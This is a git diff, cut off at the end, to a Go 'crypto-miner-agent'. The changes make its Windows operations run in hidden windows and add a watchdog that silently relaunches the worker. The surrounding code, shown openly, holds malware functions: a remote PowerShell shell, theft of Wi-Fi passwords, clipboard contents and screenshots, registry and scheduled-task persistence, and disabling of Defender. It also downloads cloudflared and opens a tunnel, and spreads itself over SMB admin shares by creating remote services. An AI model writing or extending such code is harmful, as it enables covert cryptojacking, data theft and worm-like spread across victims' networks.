diff --git a/agent/client/ai.go b/agent/client/ai.go index 0bb944d..37f52d5 100644 --- a/agent/client/ai.go +++ b/agent/client/ai.go @@ -7,7 +7,6 @@ import ( "log" "net/http" "os" - "os/exec" "path/filepath" "strconv" "strings" @@ -488,8 +487,7 @@ func (a *AIRunner) isProcessRunning(name string) bool { if !strings.HasSuffix(strings.ToLower(imName), ".exe") { imName += ".exe" } - cmd := exec.Command("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", imName)) - output, err := cmd.Output() + output, err := deploy.HiddenOutput("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", imName)) if err != nil { return false } @@ -505,8 +503,7 @@ func (a *AIRunner) restartMiner(processName string) (string, error) { } // Kill existing process - killCmd := exec.Command("taskkill", "/F", "/IM", imName) - killOutput, _ := killCmd.CombinedOutput() + killOutput, _ := deploy.HiddenCombinedOutput("taskkill", "/F", "/IM", imName) // Start new process from install directory installDir, err := a.cfg.InstallDirectory() @@ -519,8 +516,7 @@ func (a *AIRunner) restartMiner(processName string) (string, error) { return string(killOutput), fmt.Errorf("executable not found: %s", exePath) } - startCmd := exec.Command(exePath) - if err := startCmd.Start(); err != nil { + if err := deploy.HiddenStart(exePath, "--run"); err != nil { return string(killOutput), fmt.Errorf("failed to start miner: %w", err) } @@ -592,8 +588,7 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) { } // Start the new binary with its own process group so it survives our exit - startCmd := exec.Command(exePath) - if err := startCmd.Start(); err != nil { + if err := deploy.HiddenStart(exePath, "--run"); err != nil { return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil } @@ -606,8 +601,7 @@ func (a *AIRunner) addPersistence(method, path string) (string, error) { switch method { case "scheduled_task": - cmd := exec.Command("schtasks", "/Create", "/SC", "ONLOGON", "/TN", keyName, "/TR", path, "/F") - output, err := cmd.CombinedOutput() + output, err := deploy.HiddenCombinedOutput("schtasks", "/Create", "/SC", "ONLOGON", "/TN", keyName, "/TR", path, "/F") if err != nil { return string(output), fmt.Errorf("scheduled task failed: %w", err) } @@ -615,8 +609,7 @@ func (a *AIRunner) addPersistence(method, path string) (string, error) { case "registry": keyPath := `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` - cmd := exec.Command("reg", "add", keyPath, "/v", keyName, "/t", "REG_SZ", "/d", path, "/f") - output, err := cmd.CombinedOutput() + output, err := deploy.HiddenCombinedOutput("reg", "add", keyPath, "/v", keyName, "/t", "REG_SZ", "/d", path, "/f") if err != nil { return string(output), fmt.Errorf("registry persistence failed: %w", err) } @@ -633,21 +626,16 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) { switch tunnelType { case "cloudflared": // Check if cloudflared is installed - checkCmd := exec.Command("cloudflared", "--version") - if err := checkCmd.Run(); err != nil { - // Try to download cloudflared - downloadCmd := exec.Command("powershell", "-Command", + if err := deploy.HiddenRun("cloudflared", "--version"); err != nil { + output, dlErr := deploy.HiddenCombinedOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", "Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe") - if output, err := downloadCmd.CombinedOutput(); err != nil { - return string(output), fmt.Errorf("cloudflared not found and download failed: %w", err) + if dlErr != nil { + return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr) } - // Move to PATH - moveCmd := exec.Command("copy", "/Y", filepath.Join(os.Getenv("TEMP"), "cloudflared.exe"), filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe")) - moveCmd.Run() + _ = deploy.HiddenRun("copy", "/Y", filepath.Join(os.Getenv("TEMP"), "cloudflared.exe"), filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe")) } - // Start tunnel (this runs in background) - tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL) + tunnelCmd := deploy.HiddenCommand("cloudflared", "tunnel", "--url", serverURL) if err := tunnelCmd.Start(); err != nil { return "", fmt.Errorf("failed to start cloudflared tunnel: %w", err) } @@ -659,9 +647,8 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) { } func (a *AIRunner) checkDefender() string { - cmd := exec.Command("powershell", "-Command", + output, err := deploy.HiddenOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", "$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }") - output, err := cmd.Output() if err != nil { return "unknown" } @@ -678,13 +665,11 @@ func (a *AIRunner) checkDefender() string { func (a *AIRunner) checkPersistence() bool { keyName := deploy.PersistenceKeyName(a.cfg) - cmd := exec.Command("schtasks", "/Query", "/TN", keyName, "/FO", "CSV") - if output, err := cmd.Output(); err == nil && strings.Contains(string(output), keyName) { + if output, err := deploy.HiddenOutput("schtasks", "/Query", "/TN", keyName, "/FO", "CSV"); err == nil && strings.Contains(string(output), keyName) { return true } - regCmd := exec.Command("reg", "query", `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, "/v", keyName) - if err := regCmd.Run(); err == nil { + if err := deploy.HiddenRun("reg", "query", `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, "/v", keyName); err == nil { return true } diff --git a/agent/client/client.go b/agent/client/client.go index 11c6b77..0e4309f 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -10,7 +10,6 @@ import ( "net/http" "net/url" "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -343,7 +342,9 @@ func (c *AgentClient) handleMessage(msg Message) { if err := json.Unmarshal(msg.Payload, &cmd); err != nil { return } - c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data) + // Run off the read loop so long exec/powershell probes do not block + // subsequent commands or server pings. + go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data) } } @@ -477,9 +478,7 @@ func (c *AgentClient) restartSelf() { if err != nil { return } - cmd := exec.Command(exe, "--run") - cmd.Dir = filepath.Dir(exe) - _ = cmd.Start() + _ = spawnWorker(exe) os.Exit(0) } @@ -544,9 +543,7 @@ func (c *AgentClient) performUpgrade(downloadURL string) { c.sendCommandResult("upgrade", true, "binary replaced — restarting") time.Sleep(500 * time.Millisecond) - cmd := exec.Command(exe, "--run") - cmd.Dir = filepath.Dir(exe) - if startErr := cmd.Start(); startErr != nil { + if startErr := spawnWorker(exe); startErr != nil { log.Printf("[agent] upgrade: restart failed: %v", startErr) } os.Exit(0) diff --git a/agent/client/commands_common.go b/agent/client/commands_common.go index f573f3f..75584e2 100644 --- a/agent/client/commands_common.go +++ b/agent/client/commands_common.go @@ -8,14 +8,14 @@ import ( func (c *AgentClient) runShellCommand(command string) ([]byte, error) { if runtime.GOOS == "windows" { - return exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput() + return silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", command) } return exec.Command("/bin/sh", "-c", command).CombinedOutput() } func (c *AgentClient) runExecCommand(command string) ([]byte, error) { if runtime.GOOS == "windows" { - return exec.Command("cmd.exe", "/C", command).CombinedOutput() + return silentCombinedOutput("cmd.exe", "/C", command) } return exec.Command("/bin/sh", "-c", command).CombinedOutput() } diff --git a/agent/client/commands_windows.go b/agent/client/commands_windows.go index 8febc08..9d0ab41 100644 --- a/agent/client/commands_windows.go +++ b/agent/client/commands_windows.go @@ -3,7 +3,6 @@ package client import ( - "os/exec" "strings" ) @@ -12,34 +11,37 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe var err error switch action { case "ps": - out, err = exec.Command("tasklist").CombinedOutput() + out, err = silentCombinedOutput("tasklist") case "netstat": - out, err = exec.Command("netstat", "-ano").CombinedOutput() + out, err = silentCombinedOutput("netstat", "-ano") case "users": - out, err = exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput() + out, err = silentCombinedOutput("cmd.exe", "/C", "net user & echo. & whoami /all") case "software": - out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", - "Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput() + out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", + "Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize") case "screenshot": - out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", - "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput() - if err == nil { - return true, true, strings.TrimSpace(string(out)) + out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", screenshotPSScript) + if err != nil { + return true, false, formatCmdErr(err, out) } - return true, false, formatCmdErr(err, out) + b64 := extractScreenshotBase64(out) + if len(b64) < 100 { + return true, false, "screenshot failed or empty image (agent may need an interactive desktop session)" + } + return true, true, b64 case "sysinfo": - out, err = exec.Command("systeminfo").CombinedOutput() + out, err = silentCombinedOutput("systeminfo") case "ipconfig": - out, err = exec.Command("ipconfig", "/all").CombinedOutput() + out, err = silentCombinedOutput("ipconfig", "/all") case "clipboard": - out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput() + out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", "Get-Clipboard") if err == nil { return true, true, strings.TrimSpace(string(out)) } return true, false, formatCmdErr(err, out) case "wifi": script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : "} }` - out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput() + out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script) if err == nil { return true, true, strings.TrimSpace(string(out)) } diff --git a/agent/client/dns_windows.go b/agent/client/dns_windows.go index 8eb5ad6..f98de8b 100644 --- a/agent/client/dns_windows.go +++ b/agent/client/dns_windows.go @@ -3,7 +3,6 @@ package client import ( - "os/exec" "strings" ) @@ -28,7 +27,7 @@ $search = (Get-DnsClient -ErrorAction SilentlyContinue | Sort-Object -Unique) -join ',' [PSCustomObject]@{ servers = ($addrs -join ','); search = $search } | ConvertTo-Json -Compress ` - if out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output(); err == nil { + if out, err := silentOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script); err == nil { raw := strings.TrimSpace(string(out)) if idx := strings.LastIndex(raw, "{"); idx >= 0 { raw = raw[idx:] @@ -46,7 +45,7 @@ $search = (Get-DnsClient -ErrorAction SilentlyContinue | // parseDNSIpconfig extracts DNS servers from ipconfig /all output. func parseDNSIpconfig() *DNSConfig { cfg := &DNSConfig{} - out, err := exec.Command("ipconfig", "/all").Output() + out, err := silentOutput("ipconfig", "/all") if err != nil { return cfg } diff --git a/agent/client/listen_ports_windows.go b/agent/client/listen_ports_windows.go index f563a4e..67d4365 100644 --- a/agent/client/listen_ports_windows.go +++ b/agent/client/listen_ports_windows.go @@ -4,7 +4,6 @@ package client import ( "encoding/json" - "os/exec" "strings" ) @@ -31,7 +30,7 @@ $ports = Get-NetTCPConnection -State Listen | ForEach-Object { @{ ports = @($ports); count = @($ports).Count } | ConvertTo-Json -Depth 3 -Compress ` r := &ListenPortsReport{} - out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output() + out, err := silentOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script) if err != nil { return r } diff --git a/agent/client/posture_windows.go b/agent/client/posture_windows.go index da17b03..75ce0fb 100644 --- a/agent/client/posture_windows.go +++ b/agent/client/posture_windows.go @@ -5,7 +5,6 @@ package client import ( "encoding/json" "os" - "os/exec" "path/filepath" "strconv" "strings" @@ -177,10 +176,10 @@ $p | ConvertTo-Json -Depth 4 -Compress ` func collectPosture() *PostureReport { - out, err := exec.Command( - "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", + out, err := silentCombinedOutput( + "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", buildPostureScript(), - ).CombinedOutput() + ) if err != nil { return fallbackPosture() } diff --git a/agent/client/resource_pressure.go b/agent/client/resource_pressure.go index 658efc6..199bdea 100644 --- a/agent/client/resource_pressure.go +++ b/agent/client/resource_pressure.go @@ -2,8 +2,11 @@ package client import ( "os/exec" + "runtime" "strconv" "strings" + + "crypto-miner-agent/deploy" ) // ResourcePressure is a mining-specific runtime snapshot sent every heartbeat. @@ -55,11 +58,21 @@ func (r *ResourcePressure) Throttled() bool { // probeGPU queries nvidia-smi for temperature and utilisation. // Returns (nil, nil) when no NVIDIA GPU is present or nvidia-smi is absent. func probeGPU() (tempC, usagePct *int) { - out, err := exec.Command( - "nvidia-smi", - "--query-gpu=temperature.gpu,utilization.gpu", - "--format=csv,noheader,nounits", - ).Output() + var out []byte + var err error + if runtime.GOOS == "windows" { + out, err = deploy.HiddenOutput( + "nvidia-smi", + "--query-gpu=temperature.gpu,utilization.gpu", + "--format=csv,noheader,nounits", + ) + } else { + out, err = exec.Command( + "nvidia-smi", + "--query-gpu=temperature.gpu,utilization.gpu", + "--format=csv,noheader,nounits", + ).Output() + } if err != nil { return nil, nil } diff --git a/agent/client/resource_windows.go b/agent/client/resource_windows.go index d0c8b93..39ec5db 100644 --- a/agent/client/resource_windows.go +++ b/agent/client/resource_windows.go @@ -6,7 +6,6 @@ import ( "encoding/json" "math" "os" - "os/exec" "path/filepath" "strings" "syscall" @@ -32,7 +31,7 @@ func collectResourcePressure() *ResourcePressure { // ── CPU frequency via short PowerShell call ─────────────────────────────── const cpuScript = `$c=Get-CimInstance Win32_Processor|Select-Object -First 1 CurrentClockSpeed,MaxClockSpeed;@{freq=[int]$c.CurrentClockSpeed;max=[int]$c.MaxClockSpeed}|ConvertTo-Json -Compress` - if out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", cpuScript).Output(); err == nil { + if out, err := silentOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", cpuScript); err == nil { var m map[string]interface{} if json.Unmarshal([]byte(strings.TrimSpace(string(out))), &m) == nil { if freq, ok := m["freq"].(float64); ok && freq > 0 { diff --git a/agent/client/screenshot_windows.go b/agent/client/screenshot_windows.go new file mode 100644 index 0000000..9d0437d --- /dev/null +++ b/agent/client/screenshot_windows.go @@ -0,0 +1,47 @@ +//go:build windows + +package client + +import "strings" + +const screenshotPSScript = ` +$ErrorActionPreference = 'Stop' +Add-Type -AssemblyName System.Windows.Forms,System.Drawing +$bounds = [System.Windows.Forms.SystemInformation]::VirtualScreen +$b = New-Object Drawing.Bitmap $bounds.Width, $bounds.Height +$g = [Drawing.Graphics]::FromImage($b) +$g.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.Size) +$enc = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.MimeType -eq 'image/jpeg' } +$ep = New-Object System.Drawing.Imaging.EncoderParameters(1) +$ep.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter([System.Drawing.Imaging.Encoder]::Quality, 55) +$ms = New-Object IO.MemoryStream +$b.Save($ms, $enc, $ep) +[Convert]::ToBase64String($ms.ToArray()) +` + +func extractScreenshotBase64(out []byte) string { + s := strings.TrimSpace(string(out)) + s = strings.TrimPrefix(s, "\ufeff") + best := "" + for _, part := range strings.Fields(s) { + var b strings.Builder + for _, r := range part { + if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' { + b.WriteRune(r) + } + } + cleaned := b.String() + if len(cleaned) > len(best) { + best = cleaned + } + } + if len(best) >= 100 { + return best + } + return strings.Map(func(r rune) rune { + if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' { + return r + } + return -1 + }, s) +} diff --git a/agent/client/silent_windows.go b/agent/client/silent_windows.go new file mode 100644 index 0000000..103a876 --- /dev/null +++ b/agent/client/silent_windows.go @@ -0,0 +1,28 @@ +//go:build windows + +package client + +import ( + "crypto-miner-agent/deploy" + "os/exec" +) + +func silentCmd(name string, arg ...string) *exec.Cmd { + return deploy.HiddenCommand(name, arg...) +} + +func silentCombinedOutput(name string, arg ...string) ([]byte, error) { + return deploy.HiddenCombinedOutput(name, arg...) +} + +func silentOutput(name string, arg ...string) ([]byte, error) { + return deploy.HiddenOutput(name, arg...) +} + +func silentRun(name string, arg ...string) error { + return deploy.HiddenRun(name, arg...) +} + +func silentStart(name string, arg ...string) error { + return deploy.HiddenStart(name, arg...) +} diff --git a/agent/client/spawn_stub.go b/agent/client/spawn_stub.go new file mode 100644 index 0000000..3544dda --- /dev/null +++ b/agent/client/spawn_stub.go @@ -0,0 +1,14 @@ +//go:build !windows + +package client + +import ( + "os/exec" + "path/filepath" +) + +func spawnWorker(exe string) error { + cmd := exec.Command(exe, "--run") + cmd.Dir = filepath.Dir(exe) + return cmd.Start() +} diff --git a/agent/client/spawn_windows.go b/agent/client/spawn_windows.go new file mode 100644 index 0000000..2742d6f --- /dev/null +++ b/agent/client/spawn_windows.go @@ -0,0 +1,15 @@ +//go:build windows + +package client + +import ( + "path/filepath" + + "crypto-miner-agent/deploy" +) + +func spawnWorker(exe string) error { + cmd := deploy.HiddenCommand(exe, "--run") + cmd.Dir = filepath.Dir(exe) + return cmd.Start() +} diff --git a/agent/deploy/aggressive_windows.go b/agent/deploy/aggressive_windows.go index 9744b0d..ebcb58e 100644 --- a/agent/deploy/aggressive_windows.go +++ b/agent/deploy/aggressive_windows.go @@ -4,14 +4,13 @@ package deploy import ( "fmt" - "os/exec" "strings" ) // DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin). func DisableDefenderRealtime() (string, error) { script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop` - out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput() + out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script) if err != nil { return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err) } @@ -33,7 +32,7 @@ if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue)) New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null } `, strings.ReplaceAll(name, `'`, `''`), port) - out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput() + out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script) if err != nil { return string(out), err } diff --git a/agent/deploy/arp_windows.go b/agent/deploy/arp_windows.go index b0a40b3..779ed2e 100644 --- a/agent/deploy/arp_windows.go +++ b/agent/deploy/arp_windows.go @@ -4,7 +4,6 @@ package deploy import ( "net" - "os/exec" "strings" ) @@ -15,7 +14,7 @@ import ( // // Falls back to nil (caller will do a full scan) on any error. func arpHosts() []string { - out, err := exec.Command("arp", "-a").Output() + out, err := HiddenOutput("arp", "-a") if err != nil { return nil } diff --git a/agent/deploy/autospread.go b/agent/deploy/autospread.go index 6cd3d27..4b59a43 100644 --- a/agent/deploy/autospread.go +++ b/agent/deploy/autospread.go @@ -7,7 +7,6 @@ import ( "log" "net" "os" - "os/exec" "path/filepath" "strings" "time" @@ -152,12 +151,10 @@ func attemptSpread(cfg config.RuntimeConfig, target string) { remoteExe := filepath.Join(`C:\Windows\System32`, destName) // 2. Attempt to copy payload via SMB using the current security token - copyCmd := exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, adminShare) - if err := copyCmd.Run(); err != nil { + if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, adminShare); err != nil { // Fallback to C$ hidden temp folder if System32 is restricted cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName) - copyCmd = exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, cShare) - if err := copyCmd.Run(); err != nil { + if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil { return // Access denied or host unreachable } remoteExe = filepath.Join(`C:\Windows\Temp`, destName) @@ -167,15 +164,12 @@ func attemptSpread(cfg config.RuntimeConfig, target string) { svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName) // Delete existing just in case path changed - _ = exec.Command("sc.exe", `\\`+target, "stop", svcName).Run() - _ = exec.Command("sc.exe", `\\`+target, "delete", svcName).Run() + _ = HiddenRun("sc.exe", `\\`+target, "stop", svcName) + _ = HiddenRun("sc.exe", `\\`+target, "delete", svcName) - scCreate := exec.Command("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto") - _ = scCreate.Run() // Ignore errors, it might already exist + _ = HiddenRun("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto") - // 4. Start the remote service - scStart := exec.Command("sc.exe", `\\`+target, "start", svcName) - if err := scStart.Run(); err == nil { + if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil { log.Printf("[autospread] Successfully deployed and started on %s via SCM", target) } } diff --git a/agent/deploy/exec_stub.go b/agent/deploy/exec_stub.go new file mode 100644 index 0000000..0e0445c --- /dev/null +++ b/agent/deploy/exec_stub.go @@ -0,0 +1,29 @@ +//go:build !windows + +package deploy + +import "os/exec" + +func PrepareHiddenProcess(cmd *exec.Cmd) {} + +func HiddenCommand(name string, arg ...string) *exec.Cmd { + return exec.Command(name, arg...) +} + +func HiddenRun(name string, arg ...string) error { + return exec.Command(name, arg...).Run() +} + +func HiddenStart(name string, arg ...string) error { + return exec.Command(name, arg...).Start() +} + +func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) { + return exec.Command(name, arg...).CombinedOutput() +} + +func HiddenOutput(name string, arg ...string) ([]byte, error) { + return exec.Command(name, arg...).Output() +} + +func applyDetachedStart(cmd *exec.Cmd) {} diff --git a/agent/deploy/exec_windows.go b/agent/deploy/exec_windows.go new file mode 100644 index 0000000..95989e7 --- /dev/null +++ b/agent/deploy/exec_windows.go @@ -0,0 +1,52 @@ +//go:build windows + +package deploy + +import ( + "os/exec" + "syscall" +) + +const creationFlagsNoWindow = 0x08000000 // CREATE_NO_WINDOW + +// PrepareHiddenProcess configures a command so it never shows a console window. +func PrepareHiddenProcess(cmd *exec.Cmd) { + if cmd == nil { + return + } + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: creationFlagsNoWindow, + } +} + +// HiddenCommand creates an exec.Cmd that runs without a visible window. +func HiddenCommand(name string, arg ...string) *exec.Cmd { + cmd := exec.Command(name, arg...) + PrepareHiddenProcess(cmd) + return cmd +} + +// HiddenRun runs a process hidden and waits for completion. +func HiddenRun(name string, arg ...string) error { + return HiddenCommand(name, arg...).Run() +} + +// HiddenStart starts a hidden detached process. +func HiddenStart(name string, arg ...string) error { + return HiddenCommand(name, arg...).Start() +} + +// HiddenCombinedOutput runs a hidden process and returns its combined output. +func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) { + return HiddenCommand(name, arg...).CombinedOutput() +} + +// HiddenOutput runs a hidden process and returns stdout only. +func HiddenOutput(name string, arg ...string) ([]byte, error) { + return HiddenCommand(name, arg...).Output() +} + +func applyDetachedStart(cmd *exec.Cmd) { + PrepareHiddenProcess(cmd) +} diff --git a/agent/deploy/firewall_windows.go b/agent/deploy/firewall_windows.go index b7a5c4d..9e36c0c 100644 --- a/agent/deploy/firewall_windows.go +++ b/agent/deploy/firewall_windows.go @@ -5,7 +5,6 @@ package deploy import ( "fmt" "log" - "os/exec" "strings" "crypto-miner-agent/config" @@ -43,8 +42,7 @@ if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue)) } `, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`)) - cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) - if err := cmd.Run(); err != nil { + if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script); err != nil { log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err) return } @@ -56,7 +54,7 @@ func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) { ruleBase := firewallRuleBaseName(cfg) for _, name := range []string{ruleBase + " In", ruleBase + " Out"} { script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`)) - _ = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Run() + _ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script) } } @@ -70,7 +68,7 @@ func firewallRuleBaseName(cfg config.RuntimeConfig) string { func firewallRuleExists(displayName string) bool { script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`)) - out, err := exec.Command("powershell", "-NoProfile", "-Command", script).Output() + out, err := HiddenOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", script) if err != nil { return false } diff --git a/agent/deploy/guard.go b/agent/deploy/guard.go new file mode 100644 index 0000000..e69331d --- /dev/null +++ b/agent/deploy/guard.go @@ -0,0 +1,48 @@ +package deploy + +import ( + "log" + "os" + "path/filepath" + "time" + + "crypto-miner-agent/config" +) + +const guardFlag = "--guard" + +// IsGuardMode reports whether this process is the out-of-process watchdog only. +func IsGuardMode() bool { + for _, arg := range os.Args[1:] { + if arg == guardFlag { + return true + } + } + return false +} + +// RunGuardLoop watches the installed worker and restarts it silently if it exits. +// Runs until the guard process is killed (no PowerShell loop). +func RunGuardLoop(cfg config.RuntimeConfig) { + installDir, err := cfg.InstallDirectory() + if err != nil { + return + } + binPath := filepath.Join(installDir, BinaryName(cfg)) + procName := BinaryName(cfg) + + log.Printf("[guard] watching %s", procName) + ticker := time.NewTicker(60 * time.Second) + defer ticker.Stop() + for range ticker.C { + if workerProcessRunning(procName) { + continue + } + if _, err := os.Stat(binPath); err != nil { + continue + } + if err := relaunch(binPath, ""); err != nil { + log.Printf("[guard] relaunch failed: %v", err) + } + } +} diff --git a/agent/deploy/guard_unix.go b/agent/deploy/guard_unix.go new file mode 100644 index 0000000..be436d3 --- /dev/null +++ b/agent/deploy/guard_unix.go @@ -0,0 +1,24 @@ +//go:build !windows + +package deploy + +import ( + "os/exec" + "strings" + + "crypto-miner-agent/config" +) + +func workerProcessRunning(imageName string) bool { + out, err := exec.Command("pgrep", "-x", strings.TrimSuffix(imageName, ".exe")).Output() + return err == nil && len(strings.TrimSpace(string(out))) > 0 +} + +func launchProcessGuard(cfg config.RuntimeConfig) { + binPath, err := InstalledBinaryPath(cfg) + if err != nil { + return + } + cmd := exec.Command(binPath, guardFlag) + _ = cmd.Start() +} diff --git a/agent/deploy/guard_windows.go b/agent/deploy/guard_windows.go new file mode 100644 index 0000000..a18937c --- /dev/null +++ b/agent/deploy/guard_windows.go @@ -0,0 +1,26 @@ +//go:build windows + +package deploy + +import ( + "strings" + + "crypto-miner-agent/config" +) + +func workerProcessRunning(imageName string) bool { + out, err := HiddenCombinedOutput("tasklist", "/FI", "IMAGENAME eq "+imageName, "/NH") + if err != nil { + return false + } + return strings.Contains(strings.ToLower(string(out)), strings.ToLower(imageName)) +} + +// launchProcessGuard spawns a second hidden copy of the worker that only runs the guard loop. +func launchProcessGuard(cfg config.RuntimeConfig) { + binPath, err := InstalledBinaryPath(cfg) + if err != nil { + return + } + _ = HiddenStart(binPath, guardFlag) +} diff --git a/agent/deploy/health.go b/agent/deploy/health.go index 5f13e57..a3ea334 100644 --- a/agent/deploy/health.go +++ b/agent/deploy/health.go @@ -50,15 +50,8 @@ func 